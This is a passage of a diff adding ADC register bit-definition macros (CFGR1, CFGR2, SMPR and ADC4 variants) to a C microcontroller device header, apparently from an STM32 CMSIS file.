ADC_CFGR1_DMNGT_Pos (0UL) +#define ADC_CFGR1_DMNGT_Msk (0x3UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000003 */ +#define ADC_CFGR1_DMNGT ADC_CFGR1_DMNGT_Msk /*!< ADC Data Management configuration */ +#define ADC_CFGR1_DMNGT_0 (0x1UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000001 */ +#define ADC_CFGR1_DMNGT_1 (0x2UL << ADC_CFGR1_DMNGT_Pos) /*!< 0x00000002 */ + +#define ADC_CFGR1_RES_Pos (2UL) +#define ADC_CFGR1_RES_Msk (0x3UL << ADC_CFGR1_RES_Pos) /*!< 0x0000000C */ +#define ADC_CFGR1_RES ADC_CFGR1_RES_Msk /*!< ADC Data resolution */ +#define ADC_CFGR1_RES_0 (0x1UL << ADC_CFGR1_RES_Pos) /*!< 0x00000004 */ +#define ADC_CFGR1_RES_1 (0x2UL << ADC_CFGR1_RES_Pos) /*!< 0x00000008 */ + +#define ADC4_CFGR1_DMAEN_Pos (0UL) +#define ADC4_CFGR1_DMAEN_Msk (0x1UL << ADC4_CFGR1_DMAEN_Pos) /*!< 0x00000001 */ +#define ADC4_CFGR1_DMAEN ADC4_CFGR1_DMAEN_Msk /*!< ADC DMA transfer enable */ +#define ADC4_CFGR1_DMACFG_Pos (1UL) +#define ADC4_CFGR1_DMACFG_Msk (0x1UL << ADC4_CFGR1_DMACFG_Pos) /*!< 0x00000002 */ +#define ADC4_CFGR1_DMACFG ADC4_CFGR1_DMACFG_Msk /*!< ADC DMA transfer configuration */ + +#define ADC4_CFGR1_SCANDIR_Pos (4UL) +#define ADC4_CFGR1_SCANDIR_Msk (0x1UL << ADC4_CFGR1_SCANDIR_Pos) /*!< 0x00000004 */ +#define ADC4_CFGR1_SCANDIR ADC4_CFGR1_SCANDIR_Msk /*!< ADC group regular sequencer scan direction */ + +#define ADC4_CFGR1_ALIGN_Pos (5UL) +#define ADC4_CFGR1_ALIGN_Msk (0x1UL << ADC4_CFGR1_ALIGN_Pos) /*!< 0x00000020 */ +#define ADC4_CFGR1_ALIGN ADC4_CFGR1_ALIGN_Msk /*!< ADC data alignment */ + +#define ADC_CFGR1_EXTSEL_Pos (5UL) +#define ADC_CFGR1_EXTSEL_Msk (0x1FUL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC_CFGR1_EXTSEL ADC_CFGR1_EXTSEL_Msk /*!< ADC External trigger selection for regular group */ +#define ADC_CFGR1_EXTSEL_0 (0x01UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_CFGR1_EXTSEL_1 (0x02UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC_CFGR1_EXTSEL_2 (0x04UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000080 */ +#define ADC_CFGR1_EXTSEL_3 (0x08UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000100 */ +#define ADC_CFGR1_EXTSEL_4 (0x10UL << ADC_CFGR1_EXTSEL_Pos) /*!< 0x00000200 */ + +#define ADC_CFGR1_EXTEN_Pos (10UL) +#define ADC_CFGR1_EXTEN_Msk (0x3UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000C00 */ +#define ADC_CFGR1_EXTEN ADC_CFGR1_EXTEN_Msk /*!< ADC External trigger enable and polarity selection for regular channels */ +#define ADC_CFGR1_EXTEN_0 (0x1UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000400 */ +#define ADC_CFGR1_EXTEN_1 (0x2UL << ADC_CFGR1_EXTEN_Pos) /*!< 0x00000800 */ + +#define ADC_CFGR1_OVRMOD_Pos (12UL) +#define ADC_CFGR1_OVRMOD_Msk (0x1UL << ADC_CFGR1_OVRMOD_Pos) /*!< 0x00001000 */ +#define ADC_CFGR1_OVRMOD ADC_CFGR1_OVRMOD_Msk /*!< ADC overrun mode */ +#define ADC_CFGR1_CONT_Pos (13UL) +#define ADC_CFGR1_CONT_Msk (0x1UL << ADC_CFGR1_CONT_Pos) /*!< 0x00002000 */ +#define ADC_CFGR1_CONT ADC_CFGR1_CONT_Msk /*!< ADC Single/continuous conversion mode for regular conversion */ + +#define ADC_CFGR1_AUTDLY_Pos (14UL) +#define ADC_CFGR1_AUTDLY_Msk (0x1UL << ADC_CFGR1_AUTDLY_Pos) /*!< 0x00004000 */ +#define ADC_CFGR1_AUTDLY ADC_CFGR1_AUTDLY_Msk /*!< ADC Delayed conversion mode */ + +#define ADC4_CFGR1_WAIT_Pos (14UL) +#define ADC4_CFGR1_WAIT_Msk (0x1UL << ADC4_CFGR1_WAIT_Pos) /*!< 0x00004000 */ +#define ADC4_CFGR1_WAIT ADC4_CFGR1_WAIT_Msk /*!< ADC Delayed conversion mode */ + +#define ADC_CFGR1_DISCEN_Pos (16UL) +#define ADC_CFGR1_DISCEN_Msk (0x1UL << ADC_CFGR1_DISCEN_Pos) /*!< 0x00010000 */ +#define ADC_CFGR1_DISCEN ADC_CFGR1_DISCEN_Msk /*!< ADC Discontinuous mode for regular channels */ + +#define ADC_CFGR1_DISCNUM_Pos (17UL) +#define ADC_CFGR1_DISCNUM_Msk (0x7UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x000E0000 */ +#define ADC_CFGR1_DISCNUM ADC_CFGR1_DISCNUM_Msk /*!< ADC Discontinuous mode channel count */ +#define ADC_CFGR1_DISCNUM_0 (0x1UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00020000 */ +#define ADC_CFGR1_DISCNUM_1 (0x2UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00040000 */ +#define ADC_CFGR1_DISCNUM_2 (0x4UL << ADC_CFGR1_DISCNUM_Pos) /*!< 0x00080000 */ + +#define ADC_CFGR1_JDISCEN_Pos (20UL) +#define ADC_CFGR1_JDISCEN_Msk (0x1UL << ADC_CFGR1_JDISCEN_Pos) /*!< 0x00100000 */ +#define ADC_CFGR1_JDISCEN ADC_CFGR1_JDISCEN_Msk /*!< ADC Discontinuous mode on injected channels */ + +#define ADC_CFGR1_AWD1SGL_Pos (22UL) +#define ADC_CFGR1_AWD1SGL_Msk (0x1UL << ADC_CFGR1_AWD1SGL_Pos) /*!< 0x00400000 */ +#define ADC_CFGR1_AWD1SGL ADC_CFGR1_AWD1SGL_Msk /*!< Enable the watchdog 1 on a single channel or on all channels */ +#define ADC_CFGR1_AWD1EN_Pos (23UL) +#define ADC_CFGR1_AWD1EN_Msk (0x1UL << ADC_CFGR1_AWD1EN_Pos) /*!< 0x00800000 */ +#define ADC_CFGR1_AWD1EN ADC_CFGR1_AWD1EN_Msk /*!< ADC Analog watchdog 1 enable on regular Channels */ +#define ADC_CFGR1_JAWD1EN_Pos (24UL) +#define ADC_CFGR1_JAWD1EN_Msk (0x1UL << ADC_CFGR1_JAWD1EN_Pos) /*!< 0x01000000 */ +#define ADC_CFGR1_JAWD1EN ADC_CFGR1_JAWD1EN_Msk /*!< ADC Analog watchdog 1 enable on injected Channels */ +#define ADC_CFGR1_JAUTO_Pos (25UL) +#define ADC_CFGR1_JAUTO_Msk (0x1UL << ADC_CFGR1_JAUTO_Pos) /*!< 0x02000000 */ +#define ADC_CFGR1_JAUTO ADC_CFGR1_JAUTO_Msk /*!< ADC Automatic injected group conversion */ + +/* Specific ADC4 */ +#define ADC4_CFGR1_EXTSEL_Pos (6UL) +#define ADC4_CFGR1_EXTSEL_Msk (0x7UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC4_CFGR1_EXTSEL ADC4_CFGR1_EXTSEL_Msk /*!< ADC External trigger selection for regular group */ +#define ADC4_CFGR1_EXTSEL_0 (0x01UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC4_CFGR1_EXTSEL_1 (0x02UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC4_CFGR1_EXTSEL_2 (0x04UL << ADC4_CFGR1_EXTSEL_Pos) /*!< 0x00000080 */ + +#define ADC4_CFGR1_CHSELRMOD_Pos (21UL) +#define ADC4_CFGR1_CHSELRMOD_Msk (0x1UL << ADC4_CFGR1_CHSELRMOD_Pos) /*!< 0x00200000 */ +#define ADC4_CFGR1_CHSELRMOD ADC4_CFGR1_CHSELRMOD_Msk /*!< ADC JSQR Queue mode */ + +#define ADC_CFGR1_AWD1CH_Pos (26UL) +#define ADC_CFGR1_AWD1CH_Msk (0x1FUL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x7C000000 */ +#define ADC_CFGR1_AWD1CH ADC_CFGR1_AWD1CH_Msk /*!< ADC Analog watchdog 1 Channel selection */ +#define ADC_CFGR1_AWD1CH_0 (0x01UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x04000000 */ +#define ADC_CFGR1_AWD1CH_1 (0x02UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x08000000 */ +#define ADC_CFGR1_AWD1CH_2 (0x04UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x10000000 */ +#define ADC_CFGR1_AWD1CH_3 (0x08UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x20000000 */ +#define ADC_CFGR1_AWD1CH_4 (0x10UL << ADC_CFGR1_AWD1CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_CFGR2 register ********************/ +#define ADC_CFGR2_ROVSE_Pos (0UL) +#define ADC_CFGR2_ROVSE_Msk (0x1UL << ADC_CFGR2_ROVSE_Pos) /*!< 0x00000001 */ +#define ADC_CFGR2_ROVSE ADC_CFGR2_ROVSE_Msk /*!< ADC Regular group oversampler enable */ +#define ADC_CFGR2_JOVSE_Pos (1UL) +#define ADC_CFGR2_JOVSE_Msk (0x1UL << ADC_CFGR2_JOVSE_Pos) /*!< 0x00000002 */ +#define ADC_CFGR2_JOVSE ADC_CFGR2_JOVSE_Msk /*!< ADC Injected group oversampler enable */ + +#define ADC_CFGR2_OVSS_Pos (5UL) +#define ADC_CFGR2_OVSS_Msk (0xFUL << ADC_CFGR2_OVSS_Pos) /*!< 0x000001E0 */ +#define ADC_CFGR2_OVSS ADC_CFGR2_OVSS_Msk /*!< ADC Regular Oversampling shift */ +#define ADC_CFGR2_OVSS_0 (0x1UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000020 */ +#define ADC_CFGR2_OVSS_1 (0x2UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000040 */ +#define ADC_CFGR2_OVSS_2 (0x4UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000080 */ +#define ADC_CFGR2_OVSS_3 (0x8UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000100 */ + +#define ADC_CFGR2_TROVS_Pos (9UL) +#define ADC_CFGR2_TROVS_Msk (0x1UL << ADC_CFGR2_TROVS_Pos) /*!< 0x00000200 */ +#define ADC_CFGR2_TROVS ADC_CFGR2_TROVS_Msk /*!< ADC Triggered regular Oversampling */ +#define ADC_CFGR2_ROVSM_Pos (10UL) +#define ADC_CFGR2_ROVSM_Msk (0x1UL << ADC_CFGR2_ROVSM_Pos) /*!< 0x00000400 */ +#define ADC_CFGR2_ROVSM ADC_CFGR2_ROVSM_Msk /*!< ADC Regular oversampling mode */ + +#define ADC_CFGR2_OVSR_Pos (16UL) +#define ADC_CFGR2_OVSR_Msk (0x3FFUL << ADC_CFGR2_OVSR_Pos) /*!< 0x03FF0000 */ +#define ADC_CFGR2_OVSR ADC_CFGR2_OVSR_Msk /*!< ADC oversampling Ratio */ +#define ADC_CFGR2_OVSR_0 (0x001UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00010000 */ +#define ADC_CFGR2_OVSR_1 (0x002UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00020000 */ +#define ADC_CFGR2_OVSR_2 (0x004UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00040000 */ +#define ADC_CFGR2_OVSR_3 (0x008UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00080000 */ +#define ADC_CFGR2_OVSR_4 (0x010UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00100000 */ +#define ADC_CFGR2_OVSR_5 (0x020UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00200000 */ +#define ADC_CFGR2_OVSR_6 (0x040UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00400000 */ +#define ADC_CFGR2_OVSR_7 (0x080UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00800000 */ +#define ADC_CFGR2_OVSR_8 (0x100UL << ADC_CFGR2_OVSR_Pos) /*!< 0x01000000 */ +#define ADC_CFGR2_OVSR_9 (0x200UL << ADC_CFGR2_OVSR_Pos) /*!< 0x02000000 */ + +#define ADC_CFGR2_BULB_Pos (13UL) +#define ADC_CFGR2_BULB_Msk (0x1UL << ADC_CFGR2_BULB_Pos) /*!< 0x00002000 */ +#define ADC_CFGR2_BULB ADC_CFGR2_BULB_Msk /*!< ADC Bulb sampling mode */ + +#define ADC_CFGR2_SWTRIG_Pos (14UL) +#define ADC_CFGR2_SWTRIG_Msk (0x1UL << ADC_CFGR2_SWTRIG_Pos) /*!< 0x00004000 */ +#define ADC_CFGR2_SWTRIG ADC_CFGR2_SWTRIG_Msk /*!< ADC Software trigger bit for sampling time control trigger mode */ + +#define ADC_CFGR2_SMPTRIG_Pos (15UL) +#define ADC_CFGR2_SMPTRIG_Msk (0x1UL << ADC_CFGR2_SMPTRIG_Pos) /*!< 0x00008000 */ +#define ADC_CFGR2_SMPTRIG ADC_CFGR2_SMPTRIG_Msk /*!< ADC Sampling time control trigger mode */ + +#define ADC_CFGR2_LFTRIG_Pos (27UL) +#define ADC_CFGR2_LFTRIG_Msk (0x1UL << ADC_CFGR2_LFTRIG_Pos) /*!< 0x08000000 */ +#define ADC_CFGR2_LFTRIG ADC_CFGR2_LFTRIG_Msk /*!< ADC low frequency trigger mode */ + +#define ADC_CFGR2_LSHIFT_Pos (28UL) +#define ADC_CFGR2_LSHIFT_Msk (0xFUL << ADC_CFGR2_LSHIFT_Pos) /*!< 0xF0000000 */ +#define ADC_CFGR2_LSHIFT ADC_CFGR2_LSHIFT_Msk /*!< ADC Left shift factor */ +#define ADC_CFGR2_LSHIFT_0 (0x1UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x10000000 */ +#define ADC_CFGR2_LSHIFT_1 (0x2UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x20000000 */ +#define ADC_CFGR2_LSHIFT_2 (0x4UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x40000000 */ +#define ADC_CFGR2_LSHIFT_3 (0x8UL << ADC_CFGR2_LSHIFT_Pos) /*!< 0x80000000 */ + +/* Specific ADC4 */ +#define ADC4_CFGR2_OVSR_Pos (2UL) +#define ADC4_CFGR2_OVSR_Msk (0x7UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x0000001C */ +#define ADC4_CFGR2_OVSR ADC4_CFGR2_OVSR_Msk /*!< ADC oversampling ratio */ +#define ADC4_CFGR2_OVSR_0 (0x1UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000004 */ +#define ADC4_CFGR2_OVSR_1 (0x2UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000008 */ +#define ADC4_CFGR2_OVSR_2 (0x4UL << ADC4_CFGR2_OVSR_Pos) /*!< 0x00000010 */ + +#define ADC4_CFGR2_LFTRIG_Pos (29UL) +#define ADC4_CFGR2_LFTRIG_Msk (0x1UL << ADC4_CFGR2_LFTRIG_Pos) /*!< 0x20000000 */ +#define ADC4_CFGR2_LFTRIG ADC4_CFGR2_LFTRIG_Msk /*!< ADC4 low frequency trigger mode */ + +/******************** Bit definition for ADC_SMPR1 register ********************/ +#define ADC_SMPR1_SMP0_Pos (0UL) +#define ADC_SMPR1_SMP0_Msk (0x7UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000007 */ +#define ADC_SMPR1_SMP0 ADC_SMPR1_SMP0_Msk /*!< ADC Channel 0 Sampling time selection */ +#define ADC_SMPR1_SMP0_0 (0x1UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000001 */ +#define ADC_SMPR1_SMP0_1 (0x2UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000002 */ +#define ADC_SMPR1_SMP0_2 (0x4UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR1_SMP1_Pos (3UL) +#define ADC_SMPR1_SMP1_Msk (0x7UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000038 */ +#define ADC_SMPR1_SMP1 ADC_SMPR1_SMP1_Msk /*!< ADC Channel 1 Sampling time selection */ +#define ADC_SMPR1_SMP1_0 (0x1UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000008 */ +#define ADC_SMPR1_SMP1_1 (0x2UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000010 */ +#define ADC_SMPR1_SMP1_2 (0x4UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR1_SMP2_Pos (6UL) +#define ADC_SMPR1_SMP2_Msk (0x7UL << ADC_SMPR1_SMP2_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR1_SMP2 ADC_SMPR1_SMP2_Msk /*!< ADC Channel 2 Sampling time selection */ +#define ADC_SMPR1_SMP2_0 (0x1UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000040 */ +#define ADC_SMPR1_SMP2_1 (0x2UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000080 */ +#define ADC_SMPR1_SMP2_2 (0x4UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR1_SMP3_Pos (9UL) +#define ADC_SMPR1_SMP3_Msk (0x7UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR1_SMP3 ADC_SMPR1_SMP3_Msk /*!< ADC Channel 3 Sampling time selection */ +#define ADC_SMPR1_SMP3_0 (0x1UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000200 */ +#define ADC_SMPR1_SMP3_1 (0x2UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000400 */ +#define ADC_SMPR1_SMP3_2 (0x4UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR1_SMP4_Pos (12UL) +#define ADC_SMPR1_SMP4_Msk (0x7UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00007000 */ +#define ADC_SMPR1_SMP4 ADC_SMPR1_SMP4_Msk /*!< ADC Channel 4 Sampling time selection */ +#define ADC_SMPR1_SMP4_0 (0x1UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00001000 */ +#define ADC_SMPR1_SMP4_1 (0x2UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00002000 */ +#define ADC_SMPR1_SMP4_2 (0x4UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR1_SMP5_Pos (15UL) +#define ADC_SMPR1_SMP5_Msk (0x7UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00038000 */ +#define ADC_SMPR1_SMP5 ADC_SMPR1_SMP5_Msk /*!< ADC Channel 5 Sampling time selection */ +#define ADC_SMPR1_SMP5_0 (0x1UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00008000 */ +#define ADC_SMPR1_SMP5_1 (0x2UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00010000 */ +#define ADC_SMPR1_SMP5_2 (0x4UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR1_SMP6_Pos (18UL) +#define ADC_SMPR1_SMP6_Msk (0x7UL << ADC_SMPR1_SMP6_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR1_SMP6 ADC_SMPR1_SMP6_Msk /*!< ADC Channel 6 Sampling time selection */ +#define ADC_SMPR1_SMP6_0 (0x1UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00040000 */ +#define ADC_SMPR1_SMP6_1 (0x2UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00080000 */ +#define ADC_SMPR1_SMP6_2 (0x4UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR1_SMP7_Pos (21UL) +#define ADC_SMPR1_SMP7_Msk (0x7UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR1_SMP7 ADC_SMPR1_SMP7_Msk /*!< ADC Channel 7 Sampling time selection */ +#define ADC_SMPR1_SMP7_0 (0x1UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00200000 */ +#define ADC_SMPR1_SMP7_1 (0x2UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00400000 */ +#define ADC_SMPR1_SMP7_2 (0x4UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR1_SMP8_Pos (24UL) +#define ADC_SMPR1_SMP8_Msk (0x7UL << ADC_SMPR1_SMP8_Pos) /*!< 0x07000000 */ +#define ADC_SMPR1_SMP8 ADC_SMPR1_SMP8_Msk /*!< ADC Channel 8 Sampling time selection */ +#define ADC_SMPR1_SMP8_0 (0x1UL << ADC_SMPR1_SMP8_Pos) /*!< 0x01000000 */ +#define ADC_SMPR1_SMP8_1 (0x2UL << ADC_SMPR1_SMP8_Pos) /*!< 0x02000000 */ +#define ADC_SMPR1_SMP8_2 (0x4UL << ADC_SMPR1_SMP8_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR1_SMP9_Pos (27UL) +#define ADC_SMPR1_SMP9_Msk (0x7UL << ADC_SMPR1_SMP9_Pos) /*!< 0x38000000 */ +#define ADC_SMPR1_SMP9 ADC_SMPR1_SMP9_Msk /*!< ADC Channel 9 Sampling time selection */ +#define ADC_SMPR1_SMP9_0 (0x1UL << ADC_SMPR1_SMP9_Pos) /*!< 0x08000000 */ +#define ADC_SMPR1_SMP9_1 (0x2UL << ADC_SMPR1_SMP9_Pos) /*!< 0x10000000 */ +#define ADC_SMPR1_SMP9_2 (0x4UL << ADC_SMPR1_SMP9_Pos) /*!< 0x20000000 */ + +#define ADC4_SMPR_SMP1_Pos (0UL) +#define ADC4_SMPR_SMP1_Msk (0x7UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000007 */ +#define ADC4_SMPR_SMP1 ADC4_SMPR_SMP1_Msk /*!< ADC Channel 0 Sampling time selection */ +#define ADC4_SMPR_SMP1_0 (0x1UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000001 */ +#define ADC4_SMPR_SMP1_1 (0x2UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000002 */ +#define ADC4_SMPR_SMP1_2 (0x4UL << ADC4_SMPR_SMP1_Pos) /*!< 0x00000004 */ + +#define ADC4_SMPR_SMP2_Pos (4UL) +#define ADC4_SMPR_SMP2_Msk (0x7UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000070 */ +#define ADC4_SMPR_SMP2 ADC4_SMPR_SMP2_Msk /*!< ADC group of channels sampling time 2 */ +#define ADC4_SMPR_SMP2_0 (0x1UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000010 */ +#define ADC4_SMPR_SMP2_1 (0x2UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000020 */ +#define ADC4_SMPR_SMP2_2 (0x4UL << ADC4_SMPR_SMP2_Pos) /*!< 0x00000040 */ + +#define ADC4_SMPR_SMPSEL_Pos (8UL) +#define ADC4_SMPR_SMPSEL_Msk (0xFFFFFFUL << ADC4_SMPR_SMPSEL_Pos) /*!< 0xFFFFFF00 */ +#define ADC4_SMPR_SMPSEL ADC4_SMPR_SMPSEL_Msk /*!< ADC4 all channels sampling time selection */ +#define ADC4_SMPR_SMPSEL0_Pos (8UL) +#define ADC4_SMPR_SMPSEL0_Msk (0x1UL << ADC4_SMPR_SMPSEL0_Pos) /*!< 0x00000100 */ +#define ADC4_SMPR_SMPSEL0 ADC4_SMPR_SMPSEL0_Msk /*!< ADC4 channel 0 sampling time selection */ +#define ADC4_SMPR_SMPSEL1_Pos (9UL) +#define ADC4_SMPR_SMPSEL1_Msk (0x1UL << ADC4_SMPR_SMPSEL1_Pos) /*!< 0x00000200 */ +#define ADC4_SMPR_SMPSEL1 ADC4_SMPR_SMPSEL1_Msk /*!< ADC4 channel 1 sampling time selection */ +#define ADC4_SMPR_SMPSEL2_Pos (10UL) +#define ADC4_SMPR_SMPSEL2_Msk (0x1UL << ADC4_SMPR_SMPSEL2_Pos) /*!< 0x00000400 */ +#define ADC4_SMPR_SMPSEL2 ADC4_SMPR_SMPSEL2_Msk /*!< ADC4 channel 2 sampling time selection */ +#define ADC4_SMPR_SMPSEL3_Pos (11UL) +#define ADC4_SMPR_SMPSEL3_Msk (0x1UL << ADC4_SMPR_SMPSEL3_Pos) /*!< 0x00000800 */ +#define ADC4_SMPR_SMPSEL3 ADC4_SMPR_SMPSEL3_Msk /*!< ADC4 channel 3 sampling time selection */ +#define ADC4_SMPR_SMPSEL4_Pos (12UL) +#define ADC4_SMPR_SMPSEL4_Msk (0x1UL << ADC4_SMPR_SMPSEL4_Pos) /*!< 0x00001000 */ +#define ADC4_SMPR_SMPSEL4 ADC4_SMPR_SMPSEL4_Msk /*!< ADC4 channel 4 sampling time selection */ +#define ADC4_SMPR_SMPSEL5_Pos (13UL) +#define ADC4_SMPR_SMPSEL5_Msk (0x1UL << ADC4_SMPR_SMPSEL5_Pos) /*!< 0x00002000 */ +#define ADC4_SMPR_SMPSEL5 ADC4_SMPR_SMPSEL5_Msk /*!< ADC4 channel 5 sampling time selection */ +#define ADC4_SMPR_SMPSEL6_Pos (14UL) +#define ADC4_SMPR_SMPSEL6_Msk (0x1UL << ADC4_SMPR_SMPSEL6_Pos) /*!< 0x00004000 */ +#define ADC4_SMPR_SMPSEL6 ADC4_SMPR_SMPSEL6_Msk /*!< ADC4 channel 6 sampling time selection */ +#define ADC4_SMPR_SMPSEL7_Pos (15UL) +#define ADC4_SMPR_SMPSEL7_Msk (0x1UL << ADC4_SMPR_SMPSEL7_Pos) /*!< 0x00008000 */ +#define ADC4_SMPR_SMPSEL7 ADC4_SMPR_SMPSEL7_Msk /*!< ADC4 channel 7 sampling time selection */ +#define ADC4_SMPR_SMPSEL8_Pos (16UL) +#define ADC4_SMPR_SMPSEL8_Msk (0x1UL << ADC4_SMPR_SMPSEL8_Pos) /*!< 0x00010000 */ +#define ADC4_SMPR_SMPSEL8 ADC4_SMPR_SMPSEL8_Msk /*!< ADC4 channel 8 sampling time selection */ +#define ADC4_SMPR_SMPSEL9_Pos (17UL) +#define ADC4_SMPR_SMPSEL9_Msk (0x1UL << ADC4_SMPR_SMPSEL9_Pos) /*!< 0x00020000 */ +#define ADC4_SMPR_SMPSEL9 ADC4_SMPR_SMPSEL9_Msk /*!< ADC4 channel 9 sampling time selection */ +#define ADC4_SMPR_SMPSEL10_Pos (18UL) +#define ADC4_SMPR_SMPSEL10_Msk (0x1UL << ADC4_SMPR_SMPSEL10_Pos) /*!< 0x00040000 */ +#define ADC4_SMPR_SMPSEL10 ADC4_SMPR_SMPSEL10_Msk /*!< ADC4 channel 10 sampling time selection */ +#define ADC4_SMPR_SMPSEL11_Pos (19UL) +#define ADC4_SMPR_SMPSEL11_Msk (0x1UL << ADC4_SMPR_SMPSEL11_Pos) /*!< 0x00080000 */ +#define ADC4_SMPR_SMPSEL11 ADC4_SMPR_SMPSEL11_Msk /*!< ADC4 channel 11 sampling time selection */ +#define ADC4_SMPR_SMPSEL12_Pos (20UL) +#define ADC4_SMPR_SMPSEL12_Msk (0x1UL << ADC4_SMPR_SMPSEL12_Pos) /*!< 0x00100000 */ +#define ADC4_SMPR_SMPSEL12 ADC4_SMPR_SMPSEL12_Msk /*!< ADC4 channel 12 sampling time selection */ +#define ADC4_SMPR_SMPSEL13_Pos (21UL) +#define ADC4_SMPR_SMPSEL13_Msk (0x1UL << ADC4_SMPR_SMPSEL13_Pos) /*!< 0x00200000 */ +#define ADC4_SMPR_SMPSEL13 ADC4_SMPR_SMPSEL13_Msk /*!< ADC4 channel 13 sampling time selection */ +#define ADC4_SMPR_SMPSEL14_Pos (22UL) +#define ADC4_SMPR_SMPSEL14_Msk (0x1UL << ADC4_SMPR_SMPSEL14_Pos) /*!< 0x00400000 */ +#define ADC4_SMPR_SMPSEL14 ADC4_SMPR_SMPSEL14_Msk /*!< ADC4 channel 14 sampling time selection */ +#define ADC4_SMPR_SMPSEL15_Pos (23UL) +#define ADC4_SMPR_SMPSEL15_Msk (0x1UL << ADC4_SMPR_SMPSEL15_Pos) /*!< 0x00800000 */ +#define ADC4_SMPR_SMPSEL15 ADC4_SMPR_SMPSEL15_Msk /*!< ADC4 channel 15 sampling time selection */ +#define ADC4_SMPR_SMPSEL16_Pos (24UL) +#define ADC4_SMPR_SMPSEL16_Msk (0x1UL << ADC4_SMPR_SMPSEL16_Pos) /*!< 0x01000000 */ +#define ADC4_SMPR_SMPSEL16 ADC4_SMPR_SMPSEL16_Msk /*!< ADC4 channel 16 sampling time selection */ +#define ADC4_SMPR_SMPSEL17_Pos (25UL) +#define ADC4_SMPR_SMPSEL17_Msk (0x1UL << ADC4_SMPR_SMPSEL17_Pos) /*!< 0x02000000 */ +#define ADC4_SMPR_SMPSEL17 ADC4_SMPR_SMPSEL17_Msk /*!< ADC4 channel 17 sampling time selection */ +#define ADC4_SMPR_SMPSEL18_Pos (26UL) +#define ADC4_SMPR_SMPSEL18_Msk (0x1UL << ADC4_SMPR_SMPSEL18_Pos) /*!< 0x04000000 */ +#define ADC4_SMPR_SMPSEL18 ADC4_SMPR_SMPSEL18_Msk /*!< ADC4 channel 18 sampling time selection */ +#define 